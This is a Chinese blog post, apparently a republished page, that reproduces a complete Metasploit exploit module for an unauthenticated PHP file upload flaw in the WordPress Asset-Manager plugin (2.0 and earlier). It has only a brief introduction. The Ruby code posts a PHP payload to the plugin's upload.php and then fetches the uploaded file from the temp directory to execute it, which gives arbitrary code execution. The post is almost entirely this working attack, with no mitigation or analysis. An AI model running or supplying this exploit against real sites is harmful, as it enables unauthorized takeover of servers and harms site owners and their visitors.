wordpress漏洞上传php文件夹,WordPress Asset-Manager PHP文件上传漏洞

这个模块利用Metasploi脆弱漏洞库在WordPress版本Asset-Manager插件2.0以及以下版本发现的。允许上传php文件、一用户可以上传一个文件到一个临时目录没有身份验证,从而导致执行任意代码。

##

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

#   http://metasploit.com/framework/

##

require 'msf/core'

require 'msf/core/exploit/php_exe'

class Metasploit3 < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

include Msf::Exploit::PhpEXE

def initialize(info = {})

super(update_info(info,

'Name'           => 'WordPress Asset-Manager PHP File Upload Vulnerability',

'Description'    => %q{

This module exploits a vulnerability found in Asset-Manager <= 2.0  WordPress

plugin.  By abusing the upload.php file, a malicious user can upload a file to a

temp directory without authentication, which results in arbitrary code execution.

},

'Author'         =>

[

'Sammy FORGIT', # initial discovery

'James Fitts ' # metasploit module

],

'License'        => MSF_LICENSE,

'References'     =>

[

[ 'OSVDB', '82653' ],

[ 'BID', '53809' ],

[ 'EDB', '18993' ],

[ 'URL', 'http://www.hack1990.com/' ]

],

'Payload'       =>

{

'BadChars' => "\x00",

},

'Platform'       => 'php',

'Arch'           => ARCH_PHP,

'Targets'        =>

[

[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],

[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]

],

'DefaultTarget' => 0,

'DisclosureDate' => 'May 26 2012'))

register_options(

[

OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress'])

], self.class)

end

def exploit

uri =  target_uri.path

uri << '/' if uri[-1,1] != '/'

peer = "#{rhost}:#{rport}"

payload_name = "#{rand_text_alpha(5)}.php"

php_payload = get_write_exec_payload(:unlink_self=>true)

data = Rex::MIME::Message.new

data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{payload_name}\"")

post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')

print_status("#{peer} - Uploading payload #{payload_name}")

res = send_request_cgi({

'method'  => 'POST',

'uri'     => "#{uri}wp-content/plugins/asset-manager/upload.php",

'ctype'   => "multipart/form-data; boundary=#{data.bound}",

'data'    => post_data

})

if not res or res.code != 200 or res.body !~ /#{payload_name}/

fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")

end

print_status("#{peer} - Executing payload #{payload_name}")

res = send_request_raw({

'uri'     => "#{uri}wp-content/uploads/assets/temp/#{payload_name}",

'method'  => 'GET'

})

if res and res.code != 200

fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Execution failed")

end

end

end

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值